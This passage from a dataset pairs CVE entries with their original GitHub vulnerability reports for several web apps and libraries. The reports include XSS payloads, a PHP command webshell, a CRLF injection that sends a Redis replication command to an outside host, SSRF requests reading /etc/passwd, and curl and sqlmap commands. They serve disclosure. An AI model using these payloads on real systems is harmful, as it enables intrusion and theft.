*** Warning -1038 in Tables::ParseTables, line 1386, file tables.cpp
*** Reason is: found invalid marker, probably a marker size is out of range
*** Warning -1038 in Tables::ParseTables, line 1386, file tables.cpp
*** Reason is: found invalid marker, probably a marker size is out of range
*** Warning -1038 in Frame::StartParseHiddenScan, line 869, file frame.cpp
*** Reason is: Start of Scan SOS marker missing
*** Warning -1038 in Frame::ParseTrailer, line 1084, file frame.cpp
*** Reason is: missing an EOI marker at the end of the stream
*** Warning -1038 in Image::ParseTrailer, line 1463, file image.cpp
*** Reason is: expecting an EOI marker at the end of the stream
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3119686==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55f759202a0f bp 0x7ffdc6846690 sp 0x7ffdc6846660 T0)
==3119686==The signal is caused by a READ memory access.
==3119686==Hint: address points to the zero page.
#0 0x55f759202a0e in LineBuffer::FetchRegion(int, Line const*, int*) /home/casper/targets/struct/libjpeg_th/source/SRC/control/linebuffer.cpp:322
#1 0x55f75921a1ed in LineBitmapRequester::ReconstructRegion(RectAngle<int> const&, RectangleRequest const*) /home/casper/targets/struct/libjpeg_th/source/SRC/control/linebitmaprequester.cpp:565
#2 0x55f758f3aa7d in Image::ReconstructRegion(BitMapHook*, RectangleRequest const*) /home/casper/targets/struct/libjpeg_th/source/SRC/codestream/image.cpp:1111
#3 0x55f758f232a9 in JPEG::InternalDisplayRectangle(JPG_TagItem*) /home/casper/targets/struct/libjpeg_th/source/SRC/interface/jpeg.cpp:721
#4 0x55f758f22f99 in JPEG::DisplayRectangle(JPG_TagItem*) /home/casper/targets/struct/libjpeg_th/source/SRC/interface/jpeg.cpp:699
#5 0x55f758f06399 in Reconstruct(char const*, char const*, int, char const*, bool) /home/casper/targets/struct/libjpeg_th/source/SRC/cmd/reconstruct.cpp:331
#6 0x55f758ef2ea9 in main /home/casper/targets/struct/libjpeg_th/source/SRC/cmd/main.cpp:747
#7 0x7fa22d05d082 in __libc_start_main ../csu/libc-start.c:308
#8 0x55f758eef9ad in _start (/home/casper/targets/struct/libjpeg_th/source/SRC/jpeg+0x459ad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/casper/targets/struct/libjpeg_th/source/SRC/control/linebuffer.cpp:322 in LineBuffer::FetchRegion(int, Line const*, int*)
==3119686==ABORTING
```
## poc:
[poc.zip](https://github.com/thorfdbg/libjpeg/files/8803840/poc.zip)
## reproduce:
* compile libjpeg with address sanitizer
* run ./jpeg ./poc /dev/null | null pointer dereference in LineBuffer::FetchRegion in linebuffer.cpp | https://api.github.com/repos/thorfdbg/libjpeg/issues/74/comments | 1 | 2022-05-31T09:21:46Z | 2022-05-31T10:19:20Z | https://github.com/thorfdbg/libjpeg/issues/74 | 1,253,583,604 | 74 | 3,711 |
CVE-2021-38221 | 2022-06-02T18:15:08.227 | bbs-go <= 3.3.0 including Custom Edition is vulnerable to stored XSS. | {
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Including Custom Edition I guess.
Usage of "v-html" tag should be really careful in vue. I found several unsafe usage in bbs-go webpage which data source might be from any user. It's necessary to filter the rich text before it is posted to the client. Otherwise it will be dangerous.
Here is the XSS attack example screenshot (one of them) :
And the unsafe "v-html" tag for topic content (one of them) :
I will report the poc code after mlogclub team confirm and fix this defect. | There are several stored XSS vulnerabilities | https://api.github.com/repos/mlogclub/bbs-go/issues/112/comments | 1 | 2021-07-08T08:49:52Z | 2021-07-15T05:50:26Z | https://github.com/mlogclub/bbs-go/issues/112 | 939,627,089 | 112 | 3,712 |
CVE-2022-29770 | 2022-06-03T21:15:07.893 | XXL-Job v2.3.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via /xxl-job-admin/jobinfo. | {
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### Which version of XXL-JOB do you using?
2.3.0
### Expected behavior
stroed XSS
1、Insert poc <script>alert(document.cookie)</script>
2、press submit
3、XSS attack occurs
| There is a stored XSS vulnerability in the task management of xxl-job | https://api.github.com/repos/xuxueli/xxl-job/issues/2836/comments | 0 | 2022-04-23T15:02:41Z | 2022-04-23T15:02:41Z | https://github.com/xuxueli/xxl-job/issues/2836 | 1,213,336,856 | 2,836 | 3,713 |
CVE-2021-42245 | 2022-06-06T12:15:07.890 | FlatCore-CMS 2.0.9 has a cross-site scripting (XSS) vulnerability in pages.edit.php through meta tags and content sections. | {
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"flatCore",
"flatCore-CMS"
] | **Describe the bug**
Meta etiketlere ve içeriğe yazılan xss yükünü filtrelememek
https://owasp.org/www-community/attacks/xss/
**To Reproduce**
Steps to reproduce the behavior:
1-) press create new page from home page
2-) Enter the meta tags and content e xss payload
3-) go to admin panel and press go to home page button and xss pop-up
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Additional context**
POC : https://www.youtube.com/watch?v=wmQf0B3Sa6c
| Create Page XSS | https://api.github.com/repos/flatCore/flatCore-CMS/issues/69/comments | 1 | 2021-10-10T18:59:24Z | 2021-10-27T20:03:54Z | https://github.com/flatCore/flatCore-CMS/issues/69 | 1,022,064,430 | 69 | 3,714 |
CVE-2022-30860 | 2022-06-06T14:15:08.257 | FUDforum 3.1.2 is vulnerable to Remote Code Execution through Upload File feature of File Administration System in Admin Control Panel. | {
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Affected Version- 3.1.0
Demo installation: https://localhost/FUDforum-3.1.2/
Steps to reproduce the bug:
1 : go to http://localhost/FUDforum-3.1.2/ and login with admin account
<img width="1429" alt="Screenshot 2022-05-15 at 18 25 26" src="https://user-images.githubusercontent.com/39631486/168470669-7ab202fe-28c2-4c1a-9763-b471f4313aed.png">
2 : go to Admin Control panel and access to http://localhost/FUDforum-3.1.2/adm/admbrowse.php?&SQ=59a844c7073e3a8d98026d324884a119
<img width="1430" alt="Screenshot 2022-05-15 at 18 25 37" src="https://user-images.githubusercontent.com/39631486/168470685-73d77ff7-f938-4854-a47c-3ec57593c0d3.png">
3 : Use File to upload Feature in File Administration System to Upload PHP Webshell PHP to Webroot Directory
WebShell payload:`<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> `
<img width="1412" alt="Screenshot 2022-05-15 at 18 32 58" src="https://user-images.githubusercontent.com/39631486/168470694-d968abaa-343f-43b7-bffb-069288438b6e.png">
4 : Access to webshell and get remote execution code.
Example : http://localhost/FUDforum-3.1.2/2test1.php?cmd=ls%20-la
<img width="1240" alt="Screenshot 2022-05-15 at 18 32 46" src="https://user-images.githubusercontent.com/39631486/168470702-9f76201b-3009-4052-8c01-2f216ecb8b65.png">
| Remote code execution bug | https://api.github.com/repos/fudforum/FUDforum/issues/23/comments | 3 | 2022-05-10T07:54:26Z | 2025-01-04T18:39:43Z | https://github.com/fudforum/FUDforum/issues/23 | 1,230,763,879 | 23 | 3,715 |
CVE-2022-30861 | 2022-06-06T14:15:08.310 | FUDforum 3.1.2 is vulnerable to Stored XSS via Forum Name field in Forum Manager Feature. | {
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Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end-user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
Affected Version- 3.1.2
Demo installation: https://localhost/Fudforum-3.1.2/
**Reproduce bug:**
Step 1 : Login with admin account and go to the Admin Control Panel.
Step 2: In Categories & Forums, use Forum Manager to add new Forum to Private Forums.
Step 3: Inject XSS payload to Forum Name field and complete Add Forum
XSS payload : a<img src=x onerror=alert('xss')>
Step 4: Go back to http://localhost/FUDforum-3.1.2/index.php
Or Go to http://localhost/FUDforum-3.1.2/adm/admgroups.php?&SQ=1da883e1cc4e8df02d59bcf5fc8edf54
-> XSS bug trigger
<img width="1355" alt="Screenshot 2022-05-15 at 18 36 20" src="https://user-images.githubusercontent.com/39631486/168470771-a0ed23a8-8c43-4dcd-b27c-2bdcab46e7e1.png">
**Impact of XSS:**
If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
Perform any action within the application that the user can perform.
View any information that the user is able to view.
Modify any information that the user is able to modify.
Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
With the help of XSS a hacker or attacker can perform social engineering on users by redirecting them from real website to fake one. hacker can steal their cookies and download a malware on their system, and there are many more attacking scenarios a skilled attacker can perform with xss. | Cross Site Scripting | https://api.github.com/repos/fudforum/FUDforum/issues/24/comments | 3 | 2022-05-10T09:38:47Z | 2025-01-04T18:40:12Z | https://github.com/fudforum/FUDforum/issues/24 | 1,230,887,775 | 24 | 3,716 |
CVE-2022-32275 | 2022-06-06T19:15:09.813 | Grafana 8.4.3 allows reading files via (for example) a /dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd URI. NOTE: the vendor's position is that there is no vulnerability; this request yields a benign error page, not /etc/passwd content | {
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The various menus get displayed which is unexpected.
Yet no data is being returned (and a temporary Unauthorized warning pops up).
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Hence this is not a security vulnerability. But as it is confusing for the end user it can be considered a UI bug. | Menus displayed even though user is not authenticated | https://api.github.com/repos/grafana/grafana/issues/50336/comments | 6 | 2022-06-07T14:55:11Z | 2022-11-18T09:00:42Z | https://github.com/grafana/grafana/issues/50336 | 1,263,436,240 | 50,336 | 3,717 |
CVE-2022-32275 | 2022-06-06T19:15:09.813 | Grafana 8.4.3 allows reading files via (for example) a /dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd URI. NOTE: the vendor's position is that there is no vulnerability; this request yields a benign error page, not /etc/passwd content | {
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"grafana",
"grafana"
] | Viewing a snapshot (or any public route such as the 404 page) as an unauthenticated user shows extraneous items in the Navbar:
`Search`, `Starred` and `Dashboards` should not be visible as there's nothing an unauthenticated user can do with them. Similarly clicking the Grafana logo redirects to the base url which throws an `Unauthorized` error. This should probably redirect to `/login`.
Any fix needs to bear in mind anonymous auth 👍
<details>
<summary>Original report</summary>
If an unauthenticated user accesses the URL `https://<grafana_instance>/dashboard/snapshot/{{constructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd?orgId=1` he is displayed a generic 404 "Page not found" error with a menu on the left side instead of being redirected to the login page.
Yet no data is being returned when interacting with the menu (and a temporary Unauthorized warning pops up).
This leads to the following security assessment: [CVSS score 0.0](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N)
Hence this is not a security vulnerability. But as it is confusing for the end user it can be considered a UI bug.
</details> | Navigation: Navbar shows extraneous items when unauthenticated | https://api.github.com/repos/grafana/grafana/issues/50341/comments | 8 | 2022-06-07T15:06:17Z | 2022-08-02T08:57:33Z | https://github.com/grafana/grafana/issues/50341 | 1,263,451,902 | 50,341 | 3,718 |
CVE-2022-29631 | 2022-06-06T21:15:08.697 | Jodd HTTP v6.0.9 was discovered to contain multiple CLRF injection vulnerabilities via the components jodd.http.HttpRequest#set and `jodd.http.HttpRequest#send. These vulnerabilities allow attackers to execute Server-Side Request Forgery (SSRF) via a crafted TCP payload. | {
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# CRLF injection vulnerability in jodd-http
CRLF injection vulnerability in `jodd.http.HttpRequest#set` and `jodd.http.HttpRequest#send` in `jodd-http` version 5.0.x , 5.1.x , 5.2.x , 6.0.x , 6.1.x , 6.2.x ( **all versions so far** ) , allows remote attackers to inject arbitrary TCP payload via CRLF sequences in a URL .
## Proof of concept ：
```xml
<dependency>
<groupId>org.jodd</groupId>
<artifactId>jodd-http</artifactId>
<version>6.2.0</version>
</dependency>
```
```java
package top.inhann;
import jodd.http.HttpRequest;
import jodd.http.HttpResponse;
public class Test {
public static void main(String[] args) {
String url = "http://127.0.0.1:6379/ HTTP/1.1\r\nHost: 127.0.0.1:6379\r\n\r\nSLAVE OF inhann.top:6379\r\n\r\nPOST / ";
HttpRequest req = HttpRequest.get(url);
HttpResponse res = req.send();
}
}
```
run the poc , listen on `127.0.0.1:6379`
## details ：
in `jodd.http.HttpRequest#set()` when processing path ，`this.path(destination);` is called ，and it is allowed to inject `\r\n` in query string and path and fragment .
in `jodd.http.HttpRequest#sendTo()` , `this.buffer(true);` is called , and trying to build the http request payload . However , the path , query string , frament and othor components are just appended insecurely , which leads to the crlf injection .
## suggestion :
it is recommended to urlencode the invalid characters when constructing the http request payload .
| CRLF injection vulnerability in jodd-http | https://api.github.com/repos/oblac/jodd-http/issues/9/comments | 0 | 2022-04-17T16:59:28Z | 2022-06-07T02:45:59Z | https://github.com/oblac/jodd-http/issues/9 | 1,206,837,959 | 9 | 3,719 |
CVE-2022-29631 | 2022-06-06T21:15:08.697 | Jodd HTTP v6.0.9 was discovered to contain multiple CLRF injection vulnerabilities via the components jodd.http.HttpRequest#set and `jodd.http.HttpRequest#send. These vulnerabilities allow attackers to execute Server-Side Request Forgery (SSRF) via a crafted TCP payload. | {
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"oblac",
"jodd"
] | > https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29631
# CRLF injection vulnerability in jodd-http
CRLF injection vulnerability in `jodd.http.HttpRequest#set` and `jodd.http.HttpRequest#send` in `jodd-http` version 5.0.x , 5.1.x , 5.2.x , 6.0.x , 6.1.x , 6.2.x ( **all versions so far** ) , allows remote attackers to inject arbitrary TCP payload via CRLF sequences in a URL .
## Proof of concept ：
```xml
<dependency>
<groupId>org.jodd</groupId>
<artifactId>jodd-http</artifactId>
<version>6.2.0</version>
</dependency>
```
```java
package top.inhann;
import jodd.http.HttpRequest;
import jodd.http.HttpResponse;
public class Test {
public static void main(String[] args) {
String url = "http://127.0.0.1:6379/ HTTP/1.1\r\nHost: 127.0.0.1:6379\r\n\r\nSLAVE OF inhann.top:6379\r\n\r\nPOST / ";
HttpRequest req = HttpRequest.get(url);
HttpResponse res = req.send();
}
}
```
run the poc , listen on `127.0.0.1:6379`
## details ：
in `jodd.http.HttpRequest#set()` when processing path ，`this.path(destination);` is called ，and it is allowed to inject `\r\n` in query string and path and fragment .
in `jodd.http.HttpRequest#sendTo()` , `this.buffer(true);` is called , and trying to build the http request payload . However , the path , query string , frament and othor components are just appended insecurely , which leads to the crlf injection .
## suggestion :
it is recommended to urlencode the invalid characters when constructing the http request payload .
| CRLF injection vulnerability in jodd-http | https://api.github.com/repos/oblac/jodd-http/issues/9/comments | 0 | 2022-04-17T16:59:28Z | 2022-06-07T02:45:59Z | https://github.com/oblac/jodd-http/issues/9 | 1,206,837,959 | 9 | 3,720 |
CVE-2022-30899 | 2022-06-08T16:15:08.643 | A Cross Site Scripting vulnerabilty exists in PartKeepr 1.4.0 via the 'name' field in /api/part_categories. | {
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] | github.com | [
"partkeepr",
"PartKeepr"
] | # Bug description
A Cross Site Scripting vulnerabilty exists in PartKeepr 1.4.0 via the 'name' field in /api/part_categories.
## Steps to reproduce
1. Login as admin.
2. Click on 'Add Category'.
3. Insert XSS payload (<img src=1 onerror=alert('xss')>) in the "Name" field and click on Save.
| Cross-Site Scripting (XSS) in "/api/part_categories" | https://api.github.com/repos/partkeepr/PartKeepr/issues/1240/comments | 0 | 2022-05-12T08:32:18Z | 2022-05-12T08:32:18Z | https://github.com/partkeepr/PartKeepr/issues/1240 | 1,233,635,304 | 1,240 | 3,721 |
CVE-2022-31325 | 2022-06-08T16:15:08.693 | There is a SQL Injection vulnerability in ChurchCRM 4.4.5 via the 'PersonID' field in /churchcrm/WhyCameEditor.php. | {
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"CRM"
] | SQL Injection vulnerability in ChurchCRM 4.4.5 via /churchcrm/WhyCameEditor.php.
Step to exploit:
1. Login as admin.
2. Redirect to profile page and click on `Edit "Why Came" Notes`.
3. Submit "Why Came" notes and capture request in Burp Suite.
4. Save request to churchcrm.txt file and run sqlmap for injecting the PersonID parameter: `sqlmap -r churchcrm.txt -p PersonID`
| SQL Injection vulnerability in ChurchCRM 4.4.5 via /churchcrm/WhyCameEditor.php | https://api.github.com/repos/ChurchCRM/CRM/issues/6005/comments | 7 | 2022-05-17T16:53:06Z | 2024-03-25T17:49:20Z | https://github.com/ChurchCRM/CRM/issues/6005 | 1,238,916,903 | 6,005 | 3,722 |
CVE-2021-40592 | 2022-06-08T18:15:08.173 | GPAC version before commit 71460d72ec07df766dab0a4d52687529f3efcf0a (version v1.0.1 onwards) contains loop with unreachable exit condition ('infinite loop') vulnerability in ISOBMFF reader filter, isoffin_read.c. Function isoffin_process() can result in DoS by infinite loop. To exploit, the victim must open a specially crafted mp4 file. | {
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"gpac",
"gpac"
] | Hi. There is an infinite loop bug in MP4Box. to reproduce, follow the command below with the attachment file.
```
./MP4Box -nhnt 1 hang_file -out /dev/nul
```
[hang_file.zip](https://github.com/gpac/gpac/files/6991064/hang_file.zip)
Credit : ADLab of Venustech | Infinite Loop in MP4Box | https://api.github.com/repos/gpac/gpac/issues/1876/comments | 0 | 2021-08-16T09:08:59Z | 2021-08-30T15:33:42Z | https://github.com/gpac/gpac/issues/1876 | 971,526,752 | 1,876 | 3,723 |
CVE-2021-40610 | 2022-06-09T13:15:07.940 | Emlog Pro v 1.0.4 cross-site scripting (XSS) in Emlog Pro background management. | {
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] | github.com | [
"blackQvQ",
"emlog"
] | 在后台管理的写文章有两个可写入xss
文章标题
需要评论触发
还有一个在前台触发
还有系统设置的首页低部信息
 | emlog pro v 1.0.4 management XSS Vulnerability | https://api.github.com/repos/blackQvQ/emlog/issues/1/comments | 0 | 2021-09-01T07:31:56Z | 2021-09-01T07:52:42Z | https://github.com/blackQvQ/emlog/issues/1 | 984,811,825 | 1 | 3,724 |
CVE-2022-31386 | 2022-06-09T14:15:08.617 | A Server-Side Request Forgery (SSRF) in the getFileBinary function of nbnbk cms 3 allows attackers to force the application to make arbitrary requests via injection of arbitrary URLs into the URL parameter. | {
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Vulnerable code in `/application/api/controller/Index.php`
```php
/**
* 文件转Base64二进制流
* @param $url 网络文件路径，绝对地址
* @return string
*/
public function getFileBinary()
{
$str = file_get_contents($_REQUEST['url']);
Util::echo_json(ReturnData::create(ReturnData::SUCCESS,chunk_split(base64_encode($str))));
}
```
Vulnerability PoC
```
GET /api/Index/getFileBinary?url=http://172.16.119.1:8181/flag.txt HTTP/1.1
Host: 172.16.119.130
Connection: close
```
The effect of the exploit is shown in the following figure. A remote attacker can force the application to make arbitrary requests via the injection of arbitrary URLs into the url parameter.
A remote attacker can also read arbitrary file information from the target system.
PoC
```
GET /api/Index/getFileBinary?url=file:///etc/passwd HTTP/1.1
Host: 172.16.119.130
Connection: close
```
After decoding the data field of the HTTP response body in base64, you can get the specific content of the file (`/etc/passwd`)
| [Vuln] SSRF vulnerability in getFileBinary Function | https://api.github.com/repos/Fanli2012/nbnbk/issues/5/comments | 2 | 2022-05-19T11:53:11Z | 2022-06-16T03:01:35Z | https://github.com/Fanli2012/nbnbk/issues/5 | 1,241,659,279 | 5 | 3,725 |
CVE-2022-31390 | 2022-06-09T14:15:08.657 | Jizhicms v2.2.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the Update function in app/admin/c/TemplateController.php. | {
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"Cherry-toto",
"jizhicms"
] | Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.
Impact version: 2.2.5
Test with PHP 7.2
The vulnerable code is located in the `update` function of the `app/admin/c/TemplateController.php` file, which fails to validate the download_url parameter, causing a taint flow from the source `$remote_url` variable into the sink function `fopen`. This eventually leads to an SSRF vulnerability that can send a request to the URL specified by the download_url parameter.
```php
function update(){
$template = $this->frparam('template',1);
if(strpos($template,'.')!==false){
JsonReturn(array('code'=>1,'msg'=>JZLANG('参数存在安全隐患！')));
}
$this->template_name = $template;
$dir = APP_PATH.'static';
if($template){
if($this->frparam('action',1)){
$action = $this->frparam('action',1);
// 自己获取这些信息
$remote_url = urldecode($this->frparam('download_url',1));
$remote_url = strpos($remote_url,'?')!==false ? $remote_url.'&version='.$this->webconf['web_version'] : $remote_url.'?version='.$this->webconf['web_version'];
$file_size = $this->frparam('filesize',1);
$tmp_path = Cache_Path."/update_".$filepath.".zip";//临时下载文件路径
switch ($action) {
......
case 'start-download':
// 这里检测下 tmp_path 是否存在
try {
set_time_limit(0);
touch($tmp_path);
if ($fp = fopen($remote_url, "rb")) {
if (!$download_fp = fopen($tmp_path, "wb")) {
exit;
}
while (!feof($fp)) {
if (!file_exists($tmp_path)) {
// 如果临时文件被删除就取消下载
fclose($download_fp);
exit;
}
fwrite($download_fp, fread($fp, 1024 * 8 ), 1024 * 8);
}
fclose($download_fp);
fclose($fp);
} else {
exit;
}
} catch (Exception $e) {
Storage::remove($tmp_path);
JsonReturn(['code'=>1,'msg'=>JZLANG('发生错误').'：'.$e->getMessage()]);
}
JsonReturn(['code'=>0,'tmp_path'=>$tmp_path]);
break;
```
Because the download_url parameter is not restricted, it is also possible to use the server-side to send requests, such as probing intranet web services. The corresponding PoC is as follows:
```
POST /index.php/admins/Template/update.html HTTP/1.1
Host: 172.16.119.130
Content-Length: 73
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.119.130
Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_var=zh-cn; PHPSESSID=lkbci4j8clqc6de6rhpn9fdk31
Connection: close
action=start-download&template=cms&download_url=http://localhost/startpoc
```
You can also use the following curl command to verify the vulnerability
```
curl -i -s -k -X $'POST' \
-H $'Host: 172.16.119.130' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Connection: close' -H $'Content-Length: 73' \
-b $'think_var=zh-cn; PHPSESSID=g3e5nupqb19trokgr9msul8d9l' \
--data-binary $'action=start-download&template=cms&download_url=http://localhost/startpoc' \
$'http://172.16.119.130/index.php/admins/Template/update.html'
```
We can then see the corresponding request in the apache server logs, which proves that the SSRF vulnerability can be triggered
| [Vuln] SSRF vulnerability in `update` Function of `TemplateController.php` File when `$action` is `start-download` (2.2.5 version) | https://api.github.com/repos/Cherry-toto/jizhicms/issues/75/comments | 0 | 2022-05-23T02:01:23Z | 2022-05-23T02:28:57Z | https://github.com/Cherry-toto/jizhicms/issues/75 | 1,244,472,050 | 75 | 3,726 |
CVE-2022-31393 | 2022-06-09T14:15:08.700 | Jizhicms v2.2.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the Index function in app/admin/c/PluginsController.php. | {
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] | 918 | https://github.com/Cherry-toto/jizhicms/issues/76 | [
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"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"Cherry-toto",
"jizhicms"
] | Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.
Impact version: 2.2.5
Test with PHP 7.2
The vulnerable code is located in the `index` function of the `app/admin/c/PluginsController.php` file, which fails to validate the webapi parameter, leading to a taint introduced from the `$webapi` variable into the tainted function `curl_setopt`, and after the `curl_exec` function is executed, it sends a request to the URL specified by the webapi parameter, eventually leading to an SSRF vulnerability. However, this vulnerability is triggered in two stages, first by passing the `set` parameter to reset the `webapi` section of the `plugins_config` field in `sysconfig`. The SSRF vulnerability is then triggered when the function is triggered again and without any parameter values.
```php
public function index(){
//检查更新链接是否可以访问
$webapi = $this->webconf['plugins_config'];
if(!$webapi){
$webapi = 'http://api.jizhicms.cn/plugins.php';
if(!M('sysconfig')->find(['field'=>'plugins_config'])){
M('sysconfig')->add(['title'=>JZLANG('插件配置'),'field'=>'plugins_config','type'=>2,'data'=>$webapi,'typeid'=>0]);
setCache('webconfig',null);
}
}
if($this->frparam('set')){
if($this->admin['isadmin']!=1){
JsonReturn(['code'=>1,'msg'=>JZLANG('非超级管理员无法设置！')]);
}
$webapi = $this->frparam('webapi',1);
M('sysconfig')->update(['field'=>'plugins_config'],['data'=>$webapi]);
setCache('webconfig',null);
JsonReturn(['code'=>0,'msg'=>'配置成功！']);
}
$this->webapi = $webapi;
$api = $webapi.'?version='.$this->webconf['web_version'];
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch,CURLOPT_URL,$api);
$res = curl_exec($ch);
$httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
```
Because the webapi parameters are not limited, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows
PoC stage 1: the value of the webapi to set
```
POST /index.php/admins/Plugins/index.html HTTP/1.1
Host: 172.16.119.130
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.119.130
Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_var=zh-cn; PHPSESSID=lkbci4j8clqc6de6rhpn9fdk31
Connection: close
set=1&webapi=http%3A%2F%2F127.0.0.1%2Fwebapipoc.php
```
You can also use the following curl command to verify the vulnerability as PoC Stage 1
```
curl -i -s -k -X $'POST' \
-H $'Host: 172.16.119.130' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Connection: close' -H $'Content-Length: 51' \
-b $'think_var=zh-cn; PHPSESSID=g3e5nupqb19trokgr9msul8d9l' \
--data-binary $'set=1&webapi=http%3A%2F%2F127.0.0.1%2Fwebapipoc.php' \
$'http://172.16.119.130/index.php/admins/Plugins/index.html'
```
PoC stage 2:
```
GET /index.php/admins/Plugins/index.html HTTP/1.1
Host: 172.16.119.130
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_var=zh-cn; PHPSESSID=lkbci4j8clqc6de6rhpn9fdk31
Connection: close
```
Eventually we can see the corresponding request in the apache server logs, which proves that the SSRF vulnerability can be triggered
| [Vuln] SSRF vulnerability in `index` Function of `PluginsController.php` File (2.2.5 version) | https://api.github.com/repos/Cherry-toto/jizhicms/issues/76/comments | 0 | 2022-05-23T02:11:27Z | 2022-05-23T02:29:08Z | https://github.com/Cherry-toto/jizhicms/issues/76 | 1,244,478,378 | 76 | 3,727 |
CVE-2022-31830 | 2022-06-09T14:15:08.793 | Kity Minder v1.3.5 was discovered to contain a Server-Side Request Forgery (SSRF) via the init function at ImageCapture.class.php. | {
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] | github.com | [
"fex-team",
"kityminder"
] | Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.
Impact version: v1.3.5
Test with PHP 7.2
The vulnerable code is located in the `init` function of the `native-support/archive/src/ImageCapture.class.php` file, which does not sufficiently validate the image parameter, leading to a taint introduced from the `native-support/export.php` file in the `$_REQUEST['data']` variable in the `native-support/export.php` file and eventually enters the tainted function `curl_init`, which, after the `curl_exec` function is executed, sends a request to the URL specified by the image parameter, eventually leading to an SSRF vulnerability.
The function call path is as follows.
```
file: native-support/export.php
code: $file = Parser::toXMind( $_REQUEST['data'] );
file: native-support/archive/src/Parser.class.php
code: return XMindParser::parse( htmlspecialchars( $source, ENT_NOQUOTES ), $previewImage );
file: native-support/archive/src/Parser.xmind.class.php
code: $data = self::doParse( $sourceJSON );
file: native-support/archive/src/Parser.xmind.class.php
code: 'topic' => self::parseTopic( $source, $attachments )
file: native-support/archive/src/Parser.xmind.class.php
code: self::parseImage( $source, $attachments );
file: native-support/archive/src/Parser.xmind.class.php
code: $image = ImageCapture::capture( $source[ 'data' ][ 'image' ] );
file: native-support/archive/src/ImageCapture.class.php
code: $curl = self::init( $url );
```
The vulnerable function `init`
```php
private static function init ( $url ) {
$curl = curl_init( $url );
curl_setopt( $curl, CURLOPT_AUTOREFERER, true );
curl_setopt( $curl, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
// 尝试连接时间 10s
curl_setopt( $curl, CURLOPT_RETURNTRANSFER, 10 * 1000 );
curl_setopt( $curl, CURLOPT_MAXREDIRS, 5 );
curl_setopt( $curl, CURLOPT_TIMEOUT, 30 );
return $curl;
}
```
Because the `image` parameter is unrestricted, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows
```
POST /export.php HTTP/1.1
Host: 172.16.119.1:81
Content-Length: 64
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.119.1:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
